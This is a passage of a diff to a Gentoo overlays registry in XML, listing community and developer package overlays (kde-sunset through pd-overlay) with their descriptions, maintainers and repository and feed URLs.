+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/kde-sunset.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/kde-sunset.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>kerberos</name>
+    <description>Overlay which provides the bleeding edge on the kerberos
+    integration in gentoo.</description>
+    <homepage>http://dev.gentoo.org/~mueli</homepage>
+    <owner>
+      <email>mueli@gentoo.org</email>
+      <name>Kerberos Maintainers</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/kerberos.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/kerberos.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/kerberos.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kerberos.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kerberos.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>keruspe</name>
+    <description lang="en">Keruspe's overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/keruspe.git;a=summary</homepage>
+    <owner type="person">
+      <email>Marc-Antoine@Perennou.com</email>
+      <name>Marc-Antoine Perennou</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/keruspe.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/keruspe.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/keruspe.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/keruspe.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/keruspe.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>kolab</name>
+    <description>Project to allow running Kolab on Gentoo.</description>
+    <homepage>http://www.gentoo.org/proj/en/kolab/index.xml</homepage>
+    <owner type="project">
+      <email>wrobel@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/kolab/overlay</source>
+    <feed>http://overlays.gentoo.org/proj/kolab/timeline</feed>
+  </repo>
+ <repo quality="experimental" status="unofficial">
+    <name>kork</name>
+    <description lang="en">Cool, new, useful, and unmaintained packages</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/kork.git;a=summary</homepage>
+    <owner type="person">
+      <email>hsggebhardt@googlemail.com</email>
+      <name>Henry Gebhardt</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/kork.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/kork.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/kork.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/kork.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/kork.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>kvm</name>
+    <description>Kernel Virtual Machine userspace support</description>
+    <owner>
+      <email>dang@gentoo.org;cardoe@gentoo.org</email>
+    </owner>
+    <source type="git">git://github.com/dang/kvm.git</source>
+    <feed>http://github.com/feeds/dang/commits/kvm/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+   <name>kuroo</name>
+   <description>experimental kuroo and portage API ebuilds</description>
+   <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/kuroo.git;a=summary</homepage>
+   <owner type="project">
+    <email>detlev.casanova@gmail.com</email>
+    <name>Detlev Casanova</name>
+   </owner>
+   <source type="git">git://git.overlays.gentoo.org/proj/kuroo.git</source>
+   <source type="git">http://git.overlays.gentoo.org/gitroot/proj/kuroo.git</source>
+   <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/kuroo.git</source>
+   <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kuroo.git;a=atom</feed>
+   <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/kuroo.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>laurentb</name>
+    <description>Various packages</description>
+    <homepage>http://github.com/laurentb/gentoo-overlay</homepage>
+    <owner>
+      <email>laurent@bachelier.name</email>
+      <name>Laurent Bachelier</name>
+    </owner>
+    <source type="git">git://github.com/laurentb/gentoo-overlay.git</source>
+    <source type="git">http://github.com/laurentb/gentoo-overlay.git</source>
+    <feed>http://github.com/feeds/laurentb/commits/gentoo-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>leio</name>
+    <description>Mart Raudsepp developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/leio.git</homepage>
+    <owner>
+      <email>leio@gentoo.org</email>
+      <name>Mart Raudsepp</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/leio.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/leio.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/leio.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/leio.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/leio.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>lila-theme</name>
+    <description>The Lila theme is a community project, originally created by
+    Daniel G. Taylor and members of the Gentoo Linux community. The theme is
+    based around SVG graphics - which means they can be scaled to any size
+    without loss of quality - and is meant to be usable across different
+    desktops and platforms. For more information about the Lila theme project
+    or to see how you could get involved, there are a few places to look: The
+    Lila theme forums #lila on chat.freenode.org</description>
+    <homepage>http://www.lila-center.info</homepage>
+    <owner>
+      <email>fosstux@gmail.com</email>
+    </owner>
+    <source type="svn">http://svn.berlios.de/svnroot/repos/lila-theme/trunk/lila/gentoo/overlay</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>liquidx</name>
+    <description>Development overlay for ebuilds that I plan to commit to the
+    tree that are sourced from bugzilla or liquidx.</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>liquidx@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/liquidx</source>
+    <feed>http://overlays.gentoo.org/dev/liquidx/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>lisp</name>
+    <description>Common Lisp/Scheme development, recruitment and live overlay.
+    Support and feedback in `#gentoo-lisp' and via
+    `gentoo-lisp@gentoo.org'.</description>
+    <homepage>http://repo.or.cz/w/gentoo-lisp-overlay.git</homepage>
+    <owner>
+      <email>gentoo-lisp@gentoo.org</email>
+    </owner>
+    <source type="git">git://repo.or.cz/gentoo-lisp-overlay.git</source>
+    <feed>http://repo.or.cz/w/gentoo-lisp-overlay.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>loki_val</name>
+    <description>Peter Alfredsen's private developer overlay</description>
+    <homepage>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/loki_val.git;a=summary</homepage>
+    <owner>
+      <email>loki_val@gentoo.org</email>
+      <name>Peter Alfredsen</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/loki_val</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/loki_val.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/loki_val.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/loki_val.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/loki_val.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>loongson</name>
+    <description>Zhang Le's loongson overlay</description>
+    <homepage>http://www.gentoo-cn.org/gitweb/?p=loongson.git;a=summary</homepage>
+    <owner>
+      <email>r0bertz@gentoo.org</email>
+    </owner>
+    <source type="git">git://www.gentoo-cn.org/var/git/loongson.git</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>lordvan</name>
+    <description>LordVan's project ebuilds</description>
+    <homepage>http://www.lordvan.com</homepage>
+    <owner>
+      <email>lordvan@gentoo.org</email>
+      <name>Thomas Raschbacher</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/lordvan.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/lordvan.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/lordvan.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/lordvan.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/lordvan.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>lorelei</name>
+    <description lang="en">Pre-release ebuilds for lorelei's projects</description>
+    <homepage>http://github.com/bignaux/lorelei-overlay</homepage>
+    <owner type="person">
+      <email>ronan@aimao.org</email>
+      <name>Ronan Bignaux</name>
+    </owner>
+    <source type="git">git://github.com/bignaux/lorelei-overlay.git</source>
+    <source type="git">http://github.com/bignaux/lorelei-overlay.git</source>
+    <feed>http://github.com/feeds/bignaux/commits/lorelei-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>ltsp</name>
+    <description>Linux Terminal Server Project overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/ltsp.git;a=summary</homepage>
+    <owner>
+      <email>dberkholz@gentoo.org</email>
+      <name>Donnie Berkholz</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/ltsp.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/ltsp.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/ltsp.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/ltsp.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/ltsp.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>lu_zero</name>
+    <description>Experimental Media and PowerPC/CELL related
+    ebuilds.</description>
+    <homepage>http://overlays.gentoo.org/dev/lu_zero</homepage>
+    <owner>
+      <email>lu_zero@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/lu_zero</source>
+    <feed>http://overlays.gentoo.org/dev/lu_zero/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>luke-jr</name>
+    <description>Misc ebuilds by Luke-Jr</description>
+    <homepage>http://luke.dashjr.org</homepage>
+    <owner>
+      <email>luke_armagetron@dashjr.org</email>
+    </owner>
+    <source type="svn">svn://svn.dashjr.org/luke-portage-overlay/trunk</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>lxde</name>
+    <description>Repo for development of ebuilds for the LXDE desktop
+    environment.</description>
+    <homepage>http://www.gentoo.org/proj/en/desktop/lxde/</homepage>
+    <owner>
+      <email>yngwin@gentoo.org</email>
+    </owner>
+    <source type="mercurial">http://bitbucket.org/yngwin/lxde-overlay/</source>
+    <feed>http://bitbucket.org/yngwin/lxde-overlay/atom/</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>m68k</name>
+    <description>m68k team overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/m68k.git</homepage>
+    <owner>
+      <email>m68k@gentoo.org</email>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/m68k.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/m68k.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>maekke</name>
+    <description>Markus Meier developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/maekke.git</homepage>
+    <owner>
+      <email>maekke@gentoo.org</email>
+      <name>Markus Meier</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/maekke.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/maekke.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/maekke.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/maekke.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/maekke.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>maggu2810-overlay</name>
+    <description>maggu2810's Gentoo portage overlay.</description>
+    <homepage>http://github.com/maggu2810/maggu2810-overlay</homepage>
+    <owner>
+      <email>maggu2810@web.de</email>
+      <name>Markus Rathgeb</name>
+    </owner>
+    <source type="git">git://github.com/maggu2810/maggu2810-overlay.git</source>
+    <source type="git">http://github.com/maggu2810/maggu2810-overlay.git</source>
+    <feed>http://github.com/feeds/maggu2810/commits/maggu2810-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>mamona</name>
+    <description>Mamona is an embedded Linux distribution, based on Open
+    Embedded, for ARM EABI.</description>
+    <homepage>http://dev.openbossa.org/trac/mamona/wiki/MamonaGentooOverlay</homepage>
+    <owner>
+      <email>ricardo.salveti@openbossa.org</email>
+    </owner>
+    <source type="git">http://rsalveti.net/git/projects/mamona-overlay/</source>
+    <feed>http://rsalveti.net/git/?p=mamona-overlay;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>marineam-xen</name>
+    <description>Experimental ebuilds for Xen.</description>
+    <homepage>http://overlays.gentoo.org/dev/marineam</homepage>
+    <owner>
+      <email>marineam@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/marineam/xen</source>
+    <feed>http://overlays.gentoo.org/dev/marineam/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>matsuu</name>
+    <description>MATSUU Takuto developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/matsuu.git</homepage>
+    <owner>
+      <email>matsuu@gentoo.org</email>
+      <name>MATSUU Takuto</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/matsuu.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/matsuu.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/matsuu.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/matsuu.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/matsuu.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>menelkir</name>
+    <description lang="en">This is my personal overlay for unmaintained packages and some other addittions.</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/menelkir.git;a=summary</homepage>
+    <owner type="person">
+      <email>menelkir@itroll.org</email>
+      <name>Daniel de Oliveira</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/menelkir.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/menelkir.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/menelkir.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/menelkir.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/menelkir.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>mozilla</name>
+    <description>New mozilla development that is not yet in tree</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/mozilla.git</homepage>
+    <owner type="project">
+      <email>mozilla@gentoo.org</email>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/mozilla.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/mozilla.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>mpd</name>
+    <description>The experimental gentoo overlay was designed as a way to keep
+    up-to-date. Most of it are live ebuilds, ebuilds that pull the latest HEAD
+    from whatever repository. It also includes ebuilds for clients that are not
+    yet in portage. It is maintained by avuton, send new ebuilds, corrections
+    or bugs directly to him.</description>
+    <homepage>http://github.com/musicpd/mpd-overlay</homepage>
+    <owner>
+      <email>netzdamon@gmail.com</email>
+      <name>Greg Fitzgerald</name>
+    </owner>
+    <source type="git">git://github.com/musicpd/mpd-overlay.git</source>
+    <feed>http://github.com/musicpd/mpd-overlay/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>mrpouet</name>
+    <description>Romain Perier developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/mrpouet.git</homepage>
+    <owner>
+      <email>mrpouet@gentoo.org</email>
+      <name>Romain Perier</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/mrpouet.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/mrpouet.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/mrpouet.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/mrpouet.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/mrpouet.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>msp430</name>
+    <description lang="en">MSP430 cross-compiling toolchain overlay</description>
+    <homepage>http://github.com/radhermit/msp430-overlay</homepage>
+    <owner type="person">
+      <email>radhermit@gentoo.org</email>
+      <name>Tim Harder</name>
+    </owner>
+    <source type="git">git://github.com/radhermit/msp430-overlay.git</source>
+    <source type="git">http://github.com/radhermit/msp430-overlay.git</source>
+    <feed>http://github.com/radhermit/msp430-overlay/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>multilib</name>
+    <description>multilib-overlay: emul-linux-x86 must die ;)</description>
+    <homepage>http://github.com/sjnewbury/multilib-overlay</homepage>
+    <owner>
+      <email>multilib@gentoo.org</email>
+    </owner>
+    <source type="git">git://github.com/sjnewbury/multilib-overlay.git</source>
+    <feed>http://github.com/feeds/sjnewbury/commits/multilib-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>multimedia</name>
+    <description>Repository for development of (mostly bleeding-edge)
+		multimedia packages for Gentoo Linux. This is the official overlay
+		for Gentoo's media herds.</description>
+    <homepage>http://gitorious.org/gentoo-multimedia</homepage>
+    <owner>
+      <email>media-video@gentoo.org</email>
+    </owner>
+    <source type="git">git://gitorious.org/gentoo-multimedia/gentoo-multimedia.git</source>
+    <feed>http://gitorious.org/gentoo-multimedia.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>mv</name>
+    <description>Ebuilds for packages not in the Gentoo tree
+        (lack of maintainer or too experimental) and live ebuilds
+        or extensions/bugfixes for packages in the tree</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/mv.git</homepage>
+    <owner type="person">
+      <email>vaeth@mathematik.uni-wuerzburg.de</email>
+      <name>Martin Väth</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/mv.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/mv.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/mv.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/mv.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/mv.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>mysql</name>
+    <description lang="en">Gentoo MySQL overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/mysql.git;a=summary</homepage>
+    <owner type="project">
+      <email>mysql-bugs@gentoo.org</email>
+      <name>MySQL Team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/mysql.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/mysql.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/mysql.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/mysql.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/mysql.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>n4g</name>
+    <description>The goal for this overlay is to reproduce the Open Enterprise
+    server from novell on gentoo</description>
+    <homepage>http://n4g.mars.arge.at</homepage>
+    <owner>
+      <email>Mario-Fetka@gmx.at</email>
+    </owner>
+    <source type="svn">https://svn.disconnected-by-peer.at/svn/n4g/trunk/novell4gentoo/</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>n4g-experimental</name>
+    <description>The goal for this overlay is to reproduce the Open Enterprise
+    server from novell on gentoo</description>
+    <homepage>http://n4g.mars.arge.at</homepage>
+    <owner>
+      <email>Mario-Fetka@gmx.at</email>
+    </owner>
+    <source type="svn">https://svn.disconnected-by-peer.at/svn/n4g/branches/experimental/</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>n8x0</name>
+    <description>Packages to support Nokia Internet Tablets
+    (N8x0)</description>
+    <homepage>http://slonopotamus.org/gentoo-on-n8x0</homepage>
+    <owner>
+      <email>luke_n8x0_overlay@dashjr.org</email>
+    </owner>
+    <source type="git">git://slonopotamus.org/overlay</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>nelchael</name>
+    <description lang="en">Developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/nelchael.git;a=summary</homepage>
+    <owner type="person">
+      <email>nelchael@gentoo.org</email>
+      <name>Krzysztof Pawlik</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/nelchael.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/nelchael.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/nelchael.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/nelchael.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/nelchael.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>neurogeek</name>
+    <description>Jesus Rivero developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/neurogeek.git</homepage>
+    <owner>
+      <email>neurogeek@gentoo.org</email>
+      <name>Jesus Rivero</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/neurogeek.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/neurogeek.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/neurogeek.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/neurogeek.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/neurogeek.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>neuvoo</name>
+    <description>Neuvoo Overlay</description>
+    <homepage>http://gitorious.org/neuvoo/overlay</homepage>
+    <owner>
+      <email>jacobgalbreath@gmail.com</email>
+      <name>Jacob Galbreath</name>
+    </owner>
+    <source type="git">git://gitorious.org/neuvoo/overlay.git</source>
+    <feed>http://gitorious.org/neuvoo.atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>nikai</name>
+    <description>nikai user overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/nikai.git</homepage>
+    <owner>
+      <email>nikai@nikai.net</email>
+      <name>Nicolas Kaiser</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/nikai.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/nikai.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/nikai.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/nikai.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/nikai.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>nirbheek</name>
+    <description>Nirbheek Chauhan developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/nirbheek.git</homepage>
+    <owner>
+      <email>nirbheek@gentoo.org</email>
+      <name>Nirbheek Chauhan</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/nirbheek.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/nirbheek.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/nirbheek.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/nirbheek.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/nirbheek.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>njw</name>
+    <description>Gentoo overlay of Nick White (njw)</description>
+    <homepage>http://git.njw.me.uk/cgit/cgit.cgi/njw-gentoo-local/</homepage>
+    <owner>
+      <email>gentoo-overlay@njw.me.uk</email>
+    </owner>
+    <source type="git">http://git.njw.me.uk/njw-gentoo-local.git</source>
+    <feed>http://git.njw.me.uk/cgit/cgit.cgi/njw-gentoo-local/atom/?h=master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>nx</name>
+    <description>Overlay for the NX/FreeNX packages for Gentoo.</description>
+    <homepage>http://overlays.gentoo.org/proj/nx</homepage>
+    <owner type="project">
+      <email>nx@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/nx/testing</source>
+    <feed>http://overlays.gentoo.org/proj/nx/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>nuteater</name>
+    <description>Nuteater's overlay</description>
+    <homepage>http://github.com/nuteater/nuteater-overlay</homepage>
+    <owner>
+      <email>perttu.luukko@iki.fi</email>
+      <name>Perttu Luukko</name>
+    </owner>
+    <source type="git">git://github.com/nuteater/nuteater-overlay.git</source>
+    <feed>http://github.com/feeds/nuteater/commits/nuteater-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>ohnobinki</name>
+    <description>Miscelleneous ebuild fixes and personal ebuilds</description>
+    <homepage>http://ohnopub.net/~ohnobinki/gentoo</homepage>
+    <owner>
+      <email>ohnobinki@ohnopublishing.net</email>
+    </owner>
+    <source type="mercurial">http://ohnopublishing.net/hg/ohnobinki_overlay</source>
+    <feed>http://ohnopublishing.net/hg/ohnobinki_overlay/rss-log</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>openmoko</name>
+    <description>Openmoko's project overlay.</description>
+    <homepage>http://overlays.gentoo.org/proj/embedded/wiki/openmoko</homepage>
+    <owner>
+      <email>OdinsHorse@googlemail.com</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/embedded/openmoko</source>
+    <feed>http://overlays.gentoo.org/proj/embedded/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>openoffice-geki</name>
+    <description>Purpose Unsupported openoffice version with experimental
+    patchset</description>
+    <homepage>http://geki.ath.cx/index.php/OpenOffice</homepage>
+    <owner>
+      <email>h.mth@web.de</email>
+    </owner>
+    <source type="tar">http://geki.ath.cx/hacks/overlay.tar.bz2</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>openrc</name>
+    <description>Uberlord's openrc ebuilds</description>
+    <homepage>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/uberlord;a=summary</homepage>
+    <owner>
+      <email>roy@marples.name</email>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/uberlord</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/uberlord.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>oss-overlay</name>
+    <description>OSSv4 overlay</description>
+    <homepage>http://gentoo-wiki.com/Howto_OSS4</homepage>
+    <owner>
+      <email>majeru@gentoo.ro</email>
+    </owner>
+    <source type="mercurial">http://hg.atheme.org/users/majeru/portage-overlay/</source>
+    <feed>http://hg.atheme.org/users/majeru/portage-overlay/atom-log</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>otih</name>
+    <description>Otih's Provide-Patches Overlay</description>
+    <homepage>http://repo.or.cz/w/otih-overlay.git</homepage>
+    <owner>
+      <email>fabian@datensalat.eu</email>
+    </owner>
+    <source type="git">git://repo.or.cz/otih-overlay.git</source>
+    <feed>http://repo.or.cz/w/otih-overlay.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>pchrist</name>
+    <description>Panagiotis Christopoulos developer overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/pchrist.git</homepage>
+    <owner>
+      <email>pchrist@gentoo.org</email>
+      <name>Panagiotis Christopoulos</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/pchrist.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/pchrist.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/pchrist.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/pchrist.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/pchrist.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pcsx2</name>
+    <description>Experimental overlay for pcsx2 ebuilds.</description>
+    <homepage>http://github.com/eatnumber1/pcsx2-overlay/tree/master</homepage>
+    <owner>
+      <email>gabrielmaculus@gmail.com</email>
+    </owner>
+    <source type="git">git://github.com/eatnumber1/pcsx2-overlay.git</source>
+    <feed>http://github.com/feeds/eatnumber1/commits/pcsx2-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>pd-overlay</name>
+    <description>Subversion ebuilds for PureData the dataflow
+    language</description>
+    <homepage>http://pd-overlay.sourceforge.net/</homepage>
+    <owner>
+      <email>mescalinum@gmail.com</email>
+    </owner>
